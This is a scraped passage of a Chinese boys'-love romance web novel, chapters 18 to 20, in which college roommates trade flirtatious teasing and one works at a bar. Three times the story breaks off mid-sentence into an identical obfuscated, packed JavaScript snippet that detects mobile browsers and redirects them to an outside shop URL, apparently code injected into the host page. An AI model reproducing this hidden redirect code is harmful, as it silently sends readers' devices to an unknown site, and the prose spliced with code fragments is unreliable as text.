简而言之,每个月赚得盆满钵满。 少爷不愧是少爷,随随便便一出手,就成功入股知名酒吧成为大老板,还顺手给他安排了职位。 少爷真好!少爷万岁! “怎么样,来不来?” “来,我会按照时间上班的,老板。”温述应下了林清递过来的橄榄枝。 不接白不接,反正他也不是不干活,林清也不差他这点儿,而且既然林清入股了的话,那至少安全是有保障的了,林清是不会让自己的场子上出事的。 “嗯,乖。”林清很是受用那声老板,“行了,既然找到了那就回去吧,明天再来上班,我还要处理点事情。” “好,那我先走了。” 告别林清,温述解决了一心头大患,心情高兴不少,路过鲜花店的时候,还挑了几枝花包了个花束。 他抱着花,回了学校,路上有人认识他,看见他怀里的花,笑着打趣是谁给送的,什么时候谈恋爱了。 温述也不恼,装作很伤脑筋的样子无奈的表示没办法,魅力大是这样的,心情好到明眼人都能看出来。 怀抱着鲜花回到寝室,温述哼着歌,打开了门。 客厅里的灯是亮着的,但是没看到有人在客厅,想来陆延青要么是在卧室,要么出去了。 给花束拍了张照,温述找了个显眼的地方将花摆上去,摆好之后欣赏了一下,越欣赏越觉得自己的审美简直太棒了。 他喜欢得紧,又拿出手机,找了好几个角度拍。 最后一声咔擦声落下,温述准备收了手机,忽然听见些动静,是从陆延青的卧室里传来的。 他兴冲冲的走过去,想让陆延青出来看看他包的花束,结果刚敲门,门就自动开了,陆延青关门的时候没关上。 温述就眼睁睁的看着门缝越来越大,越来越大,然后猝不及防的被白花花的胸肌腹肌晃了满眼。 不只是胸肌腹肌。 这个人,不知道怎么想的,洗完澡,仅仅只穿了个内裤,就从浴室里出来了,他身上甚至还挂着水珠,顺着腹肌和人鱼线滑落。 “陆延青!”温述迅速转身,背靠着墙,脸红了个透顶,差点连话都说不清楚,恨不得自戳双目,以头抢地。 “别在寝室里发骚!!!” 18. 你求我 卧室里的陆延青乍然听到这个罪名,有些茫然,他看了一眼被打开的房门,又低头看了一眼自己,笑了。 这小流氓,自己把门推开直接进来了,还要怪他为什么在他自己的卧室里只穿个内裤,一点道理也不讲。 他走到床边,将自己忘记带进浴室的浴袍穿好,思考两秒,将自己的领口又拉大了一些。 做完这一切后走到门口,看着蹲在自己门口的小鹌鹑,踢了踢鹌鹑的脚尖。 “行了,起来。”声音里带着点调侃,“蹲我门口干什么。” 温述还没从那个冲击里缓过神来,忽然听到陆延青的声音,被吓了一跳,慌忙站起身,对上那人满含戏谑的眼睛,耳朵更红了。 “你,你为什么不穿,衣服。”他说这话的时候甚至有些磕巴,瞧见他露出来的部分胸肌锁骨,更是连对视都不敢对视了。 陆延青觉得实在有些好笑,点了点头,真心求问:“那请问一下温温大人,在我忘拿浴袍的情况下,我洗完澡之后应该以什么样的形象出现在我自己的卧室呢?” 他这句话意在强调他是在他自己的卧室里这么穿的,不是在公共场合,怎么样都不为过。 但已经害羞了个彻底的人是讲不通道理的,温述脑袋晕乎乎的,满脑子都是刚才看到的情形,听完陆延青的话,大脑艰难地运作着,然后说出了一句堪称找茬的话。 “那,那你为什么忘记带浴袍?” “?”陆延青觉得很神奇,“我是AI吗?忘带东西不是很正常。” 温述有理有据地反驳:“可是,为什么洗澡会忘记带浴袍呢?” 陆延青没话讲,他看了温述两秒,而后皮笑肉不笑的说:“因为我就想耍流氓发骚,我就喜欢裸着在卧室里走,满意了?” 他被温述噎得不知道该说什么,于是破罐子破摔,就这样自己造谣自己。 听见他这语气,温述有些犯怵,瞄了一眼陆延青,小声道:“也……也不能这么说自己。” “……” 他是不是觉得自己还挺善解人意,挺有情商的? 笨蛋一个。 陆延青闭了闭眼,认命了。 温述见他不说话,一直在悄咪咪的观察着他的脸色,一边观察一边往旁边挪,打算情况一不对他就跑。 结果还没挪几步,就被人拎小猫一样揪住了后领子,提到了面前来。 陆延青看着手里的这只猫,其实在温述挪第一步的时候他就注意到了,他就这样不动声色的看着温述挪了一步又一步,然后在他终于挪了20厘米之后,将他拎了过来。 他真的太有克制力了,真的,他居然让温述挪了20厘米才将他揪过来。 温述不喜欢这个姿势,有些不舒服地挣了挣,结果发现这人的手跟钢钳一样,纹丝不动。 纹丝不动! 温述不高兴了,幽怨地看着陆延青。 陆延青自然也没错过他脸上的表情,知道他不舒服,便松了手,松完手还不忘摸一把小猫脑袋。 猫被摸得不爽,但鉴于自己先前刚让这个人不爽了,所以只是不咸不淡地睨了他一眼。 敢怒不敢言。 陆延青觉得他可爱死了。 “好了。”话是这么说,但也知道自己把人弄得不高兴了,不能因为他不是个好东西就忽略那人的感受,“下次不拎你衣领了,找我干什么?” 温述这才想起被他遗忘的最初目的,本来高高兴兴地想让陆延青一起看他买的花束,结果被弄了这么一通,早就没了那个心思。 “没什么。”温述撇了撇嘴。 可恶的男人,才不配看我的花! 可恶的男人点了下头,像是妥协了一般,什么话也没说。 温述又不高兴了,这个人凭什么不好奇他本来是想找他干什么的! 他自己都未曾发觉,自己在陆延青面前,已经开始有一种近乎撒娇的娇纵。 他太好懂了,高兴和不高兴都摆在脸上,就像是故意的一般,等着人看见然后来哄,陆延青自然也不会错过。 他微微低头,看着温述的眼睛,诚恳道:“温温大人,告诉小的吧,您刚才要跟小的说什么?” 他话说得很像在哄小孩儿,幼稚得不行,但是偏偏他平常又是一副正经模样,所以这话从他嘴里说出来,居然还挺中听。 至少温述这么觉得。 所以温温大人原谅了小陆子,大发慈悲道:“我回来的时候路过一家花店,挑了几支包了起来,本来想给你看看的,但是你以下犯上,本大人决定不给你看了。” 他还演上瘾了。 陆延青有点想笑,但是又怕笑出来之后这位大人的小脾气上来,所以忍了忍,说道:“那温温大人怎样才能让小的看看您买的花?” 说到这里,温述来了劲儿,他和陆延青对视,陆延青的眸子其实很清亮,是很干净的黑色,和他的眼睛不同,含着笑看人的时候其实很柔。 温述一直觉得陆延青的眼睛也很好看,很多人说他的眼睛漂亮,但他的眼睛充其量只能算是“点睛之笔”,让他的脸更漂亮而已,他一向知道自己长得好看。 但陆延青的不一样,陆延青面无表情看人和呷着笑的时候给人是两种感觉,最大的原因就是那双眼睛。 他笑起来的时候眼睛微眯,脸部的线条柔了不少,少年气很重,整个人也因此看起来好相与许多。 看清对方眼底的自己,温述舔了下唇,故意刁难:“你求我啊。” 陆延青从容地听完他的话,脸上表情不变,说实话,现在温述不管说什么他都不会惊讶了。 以前怎么没发现,温述这么好玩儿。 不过就是嘴上求两句,又不是什么大事,所以陆延青几乎没有犹豫:“求你。” 仅仅两个字,根本听不出丝毫求人的态度,但是温述见好就收,勉强同意了。毕竟是第一次,随便说一句放过得了,这样才能方便下一次的时候得寸进尺。 “你在这里等我。” 说完,转头朝着客厅摆放花束的地方走去,刚将花束拿起来抱怀里,就听见自己身后传来一阵细微的声响。 他回过头,陆延青不知道什么时候跟在了他的身后。 “我不是让你在那里等我吗?”温述一边说一边转过身子,将花束的全貌露了出来。 几支白玫瑰和红玫瑰交织在一起,格外地吸引眼球,很艳丽,丝毫不突兀。 其实陆延青原本不在意这个花束到底长什么样子,他就只是想跟着温述而已,但看到这个花束之后,他忽然又觉得其实也不是不可以在意一下。 “很漂亮。”陆延青由衷地夸奖。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16766939|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然,也不看看是谁挑的。”如果有尾巴的话,此时温述的尾巴绝对已经翘上天了,趾高气昂的样子任谁见了都会觉得可爱。 那么,这只可爱的小猫会同意他的请求吗? “温述。”这么想着,陆延青喊了正沉迷于自己的大作中的温述一声。 “嗯?” “商量个事。” 温述看了他一眼,有些稀奇:“你居然还有事要和我商量吗?” 陆延青点点头,态度认真的像在谈什么总价上亿的生意一般:“这个花束,可以给我吗?” “?”温述不满,“凭什么给你?我自己花钱买的。” 陆延青能屈能伸:“那你出价多少?” 温述:“……跟你说不通。” 他彻底被打败了,这个人到底懂不懂什么叫做“意义”?温述服气了。 陆延青见他将花又抱紧了一些,知道这束花大概率是和他无缘了,颇为可惜的多看了几眼,眼神有点儿可怜。 温述瞧见了,不但瞧见了,还有些不解,真就这么喜欢这个花束吗? 他沉思几秒,看了一眼陆延青,又看了一眼自己怀里的花,想着如果是这样的话,那也不是不可以勉强送给陆延青。 温述觉得自己太善解人意了,但面上却还是一副不情不愿的样子,将手中的花束递给了陆延青:“呐,给你吧。” 陆延青抬眼:“你不是不给?” 温述扬了扬下巴:“我还不至于一束花买不起。” 听他这么说,陆延青知道,装可怜奏效了。 是的,他在装,总不能只允许温述装,不允许他装。他知道温述心软,如果看见他这样,一定会同意把那个花送他。 但,如果仅仅只是这样是不行的,他要让温述心甘情愿将花送给他。 所以他摇了摇头,拒绝了:“算了,你自己留着,我不用这个。” 此话一出,温述的轴劲儿一下子被激起,气氛都到这儿了,他今天就是要让陆延青收下这束花! 他将花拿好,二话不说就往陆延青怀里塞,边塞还边说:“让你拿着你就拿着。” 这个时候陆延青的手跟肌无力一样,完全不见当时抓着他的劲儿,一束花死活拿不住。 温述见他这样,被弄得很不高兴,他觉得陆延青在耍他。 前面还说喜欢,想要自己把花给他,现在他给了,居然不要了,干什么?欲擒故纵吗?耍他玩儿? 温述越想越气,一个用力,将花束塞陆延青怀里,然后迅速收回手,如果陆延青不扶住,那么这束花就会摔到地上。 果不其然,陆延青伸手扶住了,花束稳稳地在他的手上,仅仅只是抖了抖,丝毫没有散开。 只是,花束没摔,另外的东西摔了。 温述抽回手的时候,不知道手刮到了什么东西,他只知道有个绳子落了地,紧接着陆延青的衣服彻底开了,场面一度很沉默。 陆延青怀抱着一束花,浴袍门户大开,露出本该被包裹着的酮体,配上那张鬼斧神工的脸,怎么看怎么像那种不可说的男模。 陆延青这下是真的笑了,他看了一眼自己,声音里带着无奈,和一丝不易察觉的纵容,喉结滚动,嗓音慵懒愉悦。 “温述,占我便宜也要有个限度。” “这下总不能还赖我?” 19. 暧昧话 温述从腰带落地的那一刻起,大脑就彻底宕机,完全停止运作,根本没听见陆延青说的话。 他在想,他最近都干了些什么啊。 先是摔倒在陆延青怀里,捏了他的腹肌,再是做梦梦到陆延青裸穿围裙,咬了他的胸肌,现在更是出息了,直接把陆延青的浴袍带子给拉开了,哈哈。 人怎么能捅出这么大的篓子。 温述觉得自己是全自动闯祸机,闯祸就闯祸吧,还专逮着陆延青薅,脸都丢尽了,他的一世英名毁于一旦,毁于一旦啊! 温述反省,温述忏悔,温述觉得自己对不起陆延青,温述想找栋自己喜欢的楼跳了。 温述以迅雷不及掩耳之势蹲下捡起地上的腰带,然后站起身,看也不敢看陆延青一眼,将那束花拿过来放在桌子上,抓着陆延青的衣摆迅速包起来,腰带一系,完美解决眼下最尴尬的单方面坦诚相见的情况。 他刚松一口气,准备退开一步,没有退成功。 “?” 陆延青的手不知道什么时候出现在温述的后背上,抵住了他后退的动作,使得他不得不维持原状。 那么问题来了,这是个什么姿势呢。 温述系那个腰带的时候,因为站位的原因,他不太好按照常规的方法系,所以他选了一个最方便且迅速的方法。 他将腰带拿在手里,将结打到了陆延青身后,也就是说,他系完腰带,是一个环抱着陆延青的姿势。 温述也反应过来了,慌忙将自己的胳膊放下,想后退,可陆延青的手跟山一样死死地摁着他。 “你干嘛!”温述拧不过,气急,抬头质问他。 陆延青跟个没事人一样,好像抵着人不让走的不是他一样,略挑了下眉:“不是你先抱我的吗?” “谁抱你了啊!”温述的脸发烫,不知道是因为气的还是因为害羞,“我在给你系腰带啊!系腰带!” 他实在是不能理解陆延青的脑回路,太清奇了,脑电波根本对不上。 陆延青点头,微叹了口气,好像很遗憾的样子,半真半假地说:“我还以为你被我的身材折服,对我投怀送抱。” “?”温述简直不敢相信自己听到的,“我是疯掉了吗,我对你这个大直男投怀送抱?” 温述都不知道是他疯掉了还是陆延青疯掉了,投怀送抱都能说出来,怎么了,为了逗他玩,都不恐同了是吗? 他觉得直男真的是一个让人害怕的生物。 谁知陆延青听完他的话,意味深长地看了一眼他,故意拉长了音调,听上去要多招人厌有多招人厌。 “对我这个直男不能投怀送抱,那难道对……” 他的话没能说完,因为温述捂住了他的嘴。 “不许说,再说夹你嘴。”紧急制止了陆延青的温述在心里狠狠捏了一把汗。 太吓人了,真的,陆延青要说的话,太吓人了。 直男无心一句,留他痛苦一天。 关键是就是这个无心一句,还就偏偏说中了。 那怎么办嘛!那他确实不能对直男投怀送抱,这是道德问题!不对直男动手动脚是一个gay子的基本底线! 没有说对gay投怀送抱,动手动脚是可以的意思。 陆延青任由他的手覆在自己的嘴唇上,他应该是抹了护手霜,或者是那束花的花香,他的手上有一股香味,不浓,淡淡的,但正因为这样,所以莫名有些勾人,想让人闻更多,更清楚。 以及,温述的手真的挺软的。 陆延青敛下眸,这次轮到他往后退了一步,将自己放在温述背上的手收了回来,微微握拳,背在身后。 他很瘦。 温述见自己终于重获自由,赶忙又往后退了好几步,和陆延青保持在了一个绝对安全的位置。 有多安全呢?大概就是他俩中间至少还能再站十个人。 陆延青见他这样,有些想笑:“至于吗?” 温述极其认真地点了点头:“至于,我觉得我们直男之间还是要保持距离才好。” “理由。” “这需要什么理由吗,我觉得我们如果不保持距离,一直这样没有分寸感的话,会被别人当成gay。” “你不是最讨厌gay了吗?”温述使出杀手锏,恶心大法! 恐同是吧,没轻没重是吧,恶心不死你。 他都已经开始幻想陆延青眉头紧皱,然后宣布他们两个从此形同陌路,在外面相视无言,在寝室里也一句话不……那这个还是太严重了一点,温述不接受。 总之就是,从没有分寸感的直男,变成有分寸感的直男! 但谁知陆延青听完之后笑了一声,边笑还边摇头,看上去就没安什么好心的样子:“谁说关系好一点的两个人就一定是gay了?” “那么在乎别人怎么想的干什么,别人说什么就是什么吗,真要这样的话,那那些被无辜网暴的人全都是有罪的。”不知道为什么画风突然变成这样,明明这该是很严肃的话题,可他说起来的时候语气轻极了,就像在哄着人一般,“温述,你觉得他们有罪吗?” 温述停顿几秒,摇了摇头。 陆延青看着他走上前,边走边说:“所以,在某些时候没必要去在乎别人怎么想,别人怎么看,你觉得他们看见我们这样会认为我们两是gay,但我觉得我们俩这样是因为关系好。” 他在温述身前停下:“如果硬要在乎,为什么不听我的去听别人的。” 温述被问住了,最初他就只是想故意恶心一下陆延青,没想那么多,但陆延青说了这么一长段,仔细想想,不是没有道理。 可是,这也不代表他可以心安理得地和陆延青搞这种“暧昧”、“调情”啊! 温述觉得陆延青还是太可怕了一些,他还是没有学到精髓,就比如这个心无杂念地和男生“打情骂俏”这一点,他依旧不能心无旁骛地实施。 装直男任重而道远。 陆延青的形象因为那番话的加持,在他心里瞬间高大上了起来,甚至抹平了之前的一些不愉快。 其实陆延青本质也不坏,就是喜欢逗别人玩有点讨厌而已。温述在心里给他默默辩驳着。 “怎么样,想通了吗?”见时间差不多,陆延青开口问。 他还留时间给人思考,他真的,我哭死。温述心里这么想着,面上应道:“嗯。” 陆延青满意了,奖励似地抬手摸了摸温述的脑袋。 他还是不习惯有人摸他的脑袋,所以往后仰了仰,避开了陆延青的手。 陆延青也不恼,将手收了回来:“好了,所以这束花能送我了吗?” 说完,视线移动,停在了身侧的花束上。 顺着他的目光看向了桌子上被遗忘的花,温述将它抱了起来,递过去:“我之前就说了要送你的,你还硬是不要。” 陆延青接过花,微低头嗅了嗅。 “因为那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16766940|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候那束花是我要求你给我的。” “我要的是你心甘情愿,发自内心地想送一束花给我。” 语气之轻快,话语之轻佻,今天换任何一个人来可能都会因为陆延青的这番话而心跳加快,毕竟这人顶着这么帅的一张脸,说他就只要你主动送的花,怎么品都很苏很暧昧。 但温述只觉得木然。 他在想,这人到底有多喜欢调戏别人,说他骚他还不认。 温述看着他,诚心发问:“陆延青,真的没有人说过你很轻浮吗?” “你是第一个。” “那还真是见鬼了。”温述皮笑肉不笑,“我觉得你和论坛上说的那些完全不一样,你一点也不严肃。” 言下之意是陆延青太不着调了。 “都说了别听别人说的。”陆老师丝毫不进温述的圈套,现场带着小温同学复习。 小温同学没话说了。 他点了点头,如果现实生活里可以发表情包,那他此时大概想发一个中指。 “行。” 天时地利人和,陆延青全占了,温述甘拜下风。 “好了,别板着个脸了,晚上吃了吗。”陆延青实在是被他这副样子逗笑了,放过了他。 “吃了,所以我要去睡觉了,再见。” 他说完,对陆延青点了下头,而后迅速窜回了房间。 其实晚上没吃,但因为中午吃得晚,所以现在不饿,也就不想吃,再加上陆延青给他来了这么一遭,吓都吓饱了。 他逃回房间,打开笔电,翻出自己写的陆延青人物分析,浏览完,修修改改了几句。 【很会装,在外人面前和在熟人(认识/关系好)的人面前是两幅面孔,在熟人面前更招人讨厌一些,更没轻没重一些,没有分寸感max,说的话很暧昧】 【应对方法:用魔法打败魔法,用暧昧应对暧昧】 温述复盘了一下今天自己说的话,觉得很棒,只是不知道为什么,有的时候总是会被陆延青牵着鼻子走,明明是他想钓一下陆延青,却总是会莫名其妙变成陆延青撩拨他。 怪事,难道是他还不够直男,不够暧昧吗? 温述沉思,几秒后,在文档的最末尾又添了一句。 【如有必要,彻底抛弃底线,暧昧到底,总归有“直男”这顶帽子顶锅】 为了装直男做到这种份上,为了不让陆延青感觉到不适做到这种份上,温述被自己感动到了,他简直就是感动地球十大好室友! 暧昧暧昧暧昧!温述现在把这两个字死死地记在脑中。 虽然他觉得有点不对,毕竟他身边也不是没有其他直男,他们和陆延青很不一样,但是想起陆延青那坦坦荡荡的脸,又忍不住自己主动替陆延青找补,谁说直男就一定得是一种样子了,每个人都是独立的,怎么可能一模一样。 反正他现在是和陆延青同寝,就只需要学陆延青就好,最保险。 温述就这样说服了自己,且努力实施。 暧昧谁不会搞,只要抛弃脸皮,什么都能做到! 也因此,在连日来多次实战,战后复盘分析改进之后,他手感火热,进步非常,现在甚至可以在陆延青难得起晚的时候,一边扎头发,一边上下打量他。 目光扫了一眼他的胯部,微微歪头,眉梢轻挑,笑了。 “起得这么晚又这么精神,总不能是昨晚梦到我了。” “说说看,梦到我什么了?” 20. 小漂亮 话音落下,陆延青瞥了他一眼,没应声。 他在想,温述最近几天真的突飞猛进。 从一开始的他随口说句暧昧话都会脸红,到现在自己已经能面不改色地开点擦边小玩笑,可谓是质的飞跃。 所以陆延青点了下头,顺着他说:“是啊,梦到你了。” 他边说,还边看着温述,观察他脸上的表情:“衣衫半解地坐我床上,下面什么也没穿,我一过去,抓着我的衣袖就哭。” “哭得好可怜,委屈得不行,说你疼,求我轻一点……” “好了好了!嘘!嘘!够了!不许说了!”温述越听越不对劲,急急忙忙打断他的话,耳根发红,“你,你这是……” 他想了半天,红着脸吐出来几个字:“意y我。” 这话说得轻且柔,如同羽毛般划过人的心尖,留下温软一片,让人心痒。 陆延青不动声色地滚了滚喉结,眼前的人脸红了个彻底,局促地站在那里,连和他对视都不敢。 嗯,高攻低防,和以前一样禁不起逗。 “不是你先问我是不是梦到你了吗?”陆延青这么说着,满脸坦然,好像刚才说那些下流话的不是他一般。 这句话扔出来,温述微微睁大了眼睛,完全不敢相信这个人真的这么厚脸皮,连这种黑锅都敢往他头上甩。 他有些难以置信:“我说你梦见我,然后你就真的胡编乱造了一个……一个那种梦吗?” 最后几个字他差点没好意思说出口。 陆延青眉梢微挑,笑得一脸痞气,像个流氓,他点了点头,理所当然:“是啊,总不能让你的话落地。” 还不如让他的话落地!温述愤愤地瞪着他,被气得说不出话。 这个臭混蛋! 他简直不能理解怎么会有人脸皮厚成这样,关键是还爱耍流氓,还一脸坦荡,在坦荡个什么啊,不应该愧疚吗! 他越想越不满,瞪着陆延青,恶狠狠地说:“说出去别人还以为你爱我爱得如此深刻,连做那种梦都是梦我。” 本想着隔应一下陆延青,谁知这人抬手捂住心口,帅脸上带着点淡淡的震惊,一副被说中了的样子:“你怎么知道?” 他怎么知道?因为是瞎说的啊哈哈。 这个人,给个杆子就顺杆爬,给个台阶他就算下也要旋转着跳下来,完全不知道收敛两个字怎么写。 招摇过市,地痞流氓! 温述讨厌他。 “你下次干脆说我帮你手工好了,反正也没人知道是不是真的。” 他气急,板着一张脸故意说些呛人的话,漂亮的眼睛里满是不高兴。 偏偏陆延青非要去招他,目光若有所思地停留在温述纤细白嫩的手上,仿佛真的在考虑这个说法的可行性。 “陆延青!”察觉到他的视线,温述涨红着脸,恼羞地喊他。 陆延青点到即止,见好就收,熟练地哄人:“好好,我错了,还请温温大人原谅小的。” “我不会原谅你的,你太过分了。”温述不知道这人怎么好意思在说出那种话,做出那种事之后还让自己原谅他的。 完全没有羞耻心的吗这个人? 但陆延青本来也不是一般人,见温述真不打算原谅他,还故意凑过来,弯腰靠近温述的脸,看着对方的眼睛,声音里带着淡笑。 “真生气了?” “……” “走开啊!”温述抬手啪一下拍在陆延青的脸上,把他的脑袋往后退,“不是真生气还是假生气吗?” 陆延青被他捧着脸,眼睛被迫看着天花板,有些滑稽。 “我还以为温温大人在故意装生气欺负小的。”他这么说,一副嬉皮笑脸的样子。 笑,还笑,这人居然还笑得出来。 温述被他气得已经生不起气了,他被弄得没脾气,回想着刚才所发生的一切,他现在只觉得好笑。 陆延青一直都是那个样子,他也不是第一次知道了,就是爱说些暧昧下流的话,和他生气干什么,犯不着,更何况他本人也不坏,就算喜欢打嘴炮罢了。 不生气,嗯。 他这么想着,抬眼看着陆延青,和他对视。 陆延青身量高,比他高大半个头,他和陆延青对视的时候,需要抬头才能看见。 他踮起脚,靠近陆延青,目光却缓缓下滑,锁定那薄唇,越靠越近,越靠越近,直到不足两厘米,停下。 “这么喜欢梦,不如每晚都做那种梦。” “每一个梦里都是我。” 温述说话的时候,气息打在陆延青的唇上,带着点牙膏的薄荷味,旖旎出无法言说的暧昧。 不生气是一回事,报复回去是另外一回事。 不是喜欢做那种梦吗?不是喜欢梦到我吗?那就天天梦,梦个够,最好梦到肾虚。 肾虚,对男人最恶毒的诅咒。 温述很满意自己的话。 他说完便退开了,眼底有些小得意,亮晶晶的,就像是干了坏事的猫,不但不害怕自己犯了错,反而期待着主人看到“犯罪现场”的表情。 坏猫。 陆延青自然要稍稍惩戒一下,他点了点头,语气淡然:“可以,我看看能换多少个姿势场景。” 温述不甘示弱,皮笑肉不笑:“小心纵欲过度,肾虚不举。” “如果是在温温大人的腿根下肾虚的话,那我心甘情愿。”陆延青回击。 “停,这种时候这个话题,就不要再叫我温温大人了。”温述木着脸说。 陆延青十分听话:“行,都听你的。” 这时候倒是装起乖来了,弄得好像之前不依不饶的人是第二人格一样。温述在心里无语吐槽。 其实陆延青一直都是这样,喜欢开玩笑,但是见好就收,有的时候开得玩笑太过火也会主动道歉,主动哄人。 不知道别人怎么想,至少温述觉得和陆延青相处感觉还可以。 就是有的时候开玩笑开得太露骨,实在是让人招架不住。 可恶的死直男,等他直了他也要这么毫无顾忌地开陆延青的玩笑。 “好了不和你闹了,我要出门了。”温述看了一眼时间,率先结束这个越说越离谱的话题。 陆延青很有眼力见地没再继续,见温述说要出去,随口问道:“去哪?” “兼职。”温述说完,拿起沙发上自己的书包背好,想了想觉得不对,又说,“我最近除了兼职不就是兼职嘛?” 陆延青就笑:“那我怎么知道,我以为你出去玩儿不带我。” 温述撇了撇嘴,懒得理他。 三岁小孩吗,还担心出去玩不带他。 “我懒得和你说,走了,小厨房里有我煮的面,给你留了一点,记得吃,等会儿坨了,吃完记得洗碗。” 说到这里,他看着陆延青:“要是我回来发现你没洗碗你就完蛋了知道不知道?” “知道。”陆延青懒洋洋地应着,“哪敢不听温温大人的话,温温大人一个生气,不理我了,我哭都没地方哭去。” “少贫。”温述觑了他一眼,“中午不用等我吃饭,我不回来。” “行。” 从温述兼职开始,两个人就一直是这种相处模式,温述会和陆延青说自己要去兼职了,让他不用等他,因为如果他不说,陆延青就会一直等他回来吃饭。 而陆延青也会在因为开会没办法赶回来的时候,给温述提前报备,帮他定好饭,两个人对于这种互相汇报的事情已经成了习惯。 不知道什么时候养成的,反正等反应过来的时候就已经成这样了。 温述出了门,到宿舍楼下,刚好有一辆别人用完的共享单车,于是温述美滋滋地扫了码,骑着车去了拟剧论。 今天有乐队来拟剧论演出,人比平常多了不少,温述到的时候,酒吧其他人早已忙得晕头转向,就连老板林清都上阵了。 见他来了,林清赶紧喊他去换衣服来帮忙。 温述点点头,背着书包去了更衣室。 他第一次背书包来的时候,门口的保安小哥不认识他,见他背着个书包,脸又那么漂亮,一双大眼睛显得他年纪小,还以为他是未成年,仗着自己长得漂亮追求刺激,语气严肃地教训他,让他不要随随便便进这种地方。 温述想为自己辩解都插不进嘴,小哥语速飞快,痛心疾首,好像他真的干了什么坏事了一般。 最后是林清过来解决了,那小哥搞清楚之后羞得不敢看他,林清觉得有意思,从此小哥在拟剧论获得了一个称呼“教育家”。 温述进到更衣室,将书包放下之后迅速换好衣服。 拟剧论财大气粗,林清更是个不差钱的主儿,给拟剧论的每一个员工都按照尺码定制了几套衣服,上班的时候挑着穿。 因为先前还没入股拟剧论的时候,有一个调酒师天天不知道穿的是从哪扒拉出来的衣服,根本想不通为什么这个搭配,明明挺帅一小伙儿,非得给自己整得像个流浪汉,看得林清太阳穴狂跳。 所以林清入股的第一天就找人把全体员工的尺码全量了,定制了衣服当工作服,等之后哪怕辞职了,那几套衣服也能带走。 温述今天挑的是宫廷风复古白衬衫,腰间束了一条黑色腰封,下搭腰封同色丝绸微喇裤。 他将头发挽起来,从桌子上拿了一只鲨鱼夹夹上,夹子上还坠了两枚小珍珠,随着他的动作晃动。 夹好,看了一眼镜子,感觉差了点意思,又低头在桌上搜寻着,忽然目光锁定,伸手拿起盒子里的无框平光镜,戴上,再次看向镜中。 镜子里的人戴着眼镜,漂亮的眼睛躲藏于镜片后,像蒙了层纱,遮了点光,看着人的时候目光淡淡的,端的是一副清冷至极的模样。过长的头发被夹起,仅一些碎发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16766941|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂在脸颊旁边,脑袋后的珍珠微微晃动,让人的目光情不自禁地追寻。 完美。 哦,顺带一提,他配的是一双红底粗高跟皮靴。 一切准备就绪,温述出了更衣室,到前面去找了林清。林清本来忙得焦头烂额,看见他眼前一亮,工作的烦躁瞬间一扫而空。 他吹了声流氓哨,笑道:“穿这么好看,想当我店里的头牌啊?可惜我这是正经生意,不搞这些。” 温述笑眯眯地应着:“好呀,等你不搞正经生意了,到时候一定让你先尝鲜。” “打住,宫中禁止对食。”林清抖了抖身上的鸡皮疙瘩。 温述开完玩笑,开始问正事儿:“还有哪里需要人?” 林清看了一眼工作群,安排道:“你去吧台吧,调酒,干了几天你应该也记得配比了,如果有客人说要‘拟剧论’,那就是让你调印象酒的意思,你随便跟他聊几句然后调就行了。” “什么时候加的这一条,我怎么没印象?” “今天刚加的,这不是为了衬这个乐队吗,行了快去吧,那边的小楚已经要死那儿了。” 温述应了一声,去了,要死那儿的调酒师楚寻壹看见他瞬间哭天喊地,未语泪先流,哀嚎的中途还不忘夸温述漂亮,温述无奈极了,一边安抚他一边帮他分担。 然后温述也要死那儿了。 好多人,好多好多的人,看不到尽头的人,温述调酒调得手都酸了。 本来就忙,有些人见他漂亮,还专门过来找他搭话,点名要他调酒,他又不能拒绝人家客人,就只能硬着头皮上,工作量剧增。 后来是楚寻壹去找了林清才结束了这场闹剧,他在温述面前立了个牌子。 【正经酒吧,请勿以调酒的名义骚扰调酒师,门口的安保可不是因为帅所以才招进来的。】 此牌子一出,林清亲自站在旁边盯梢。 大家都知道拟剧论换老板了,新老板护短,不差钱,有背景,先前有个醉汉喝多了摸服务员的屁股,小姑娘哭着去找了老板,最后那个醉汉被拘留了好几天,还道了歉写了保证书,赔了不少钱。 因此,这个牌子一出,想抱着侥幸心理来骚扰温述的人少了不少,温述也得以安静地工作到了晚上。 晚上的拟剧论灯光氛围调成了紫色为主题,乐队表演下午就已经结束,随着乐队粉丝的离开,酒吧里清闲了不少。 林清粗略算了一下今天的营业额,高兴地宣布今天晚上下班之后他请夜宵,大家兴致高涨,纷纷说要狠狠宰一顿他。林清丝毫不生气,笑着说让他们宰,挑贵的点。 问他去不去的时候,温述想了想,同意了,随后拿出手机给陆延青发消息。 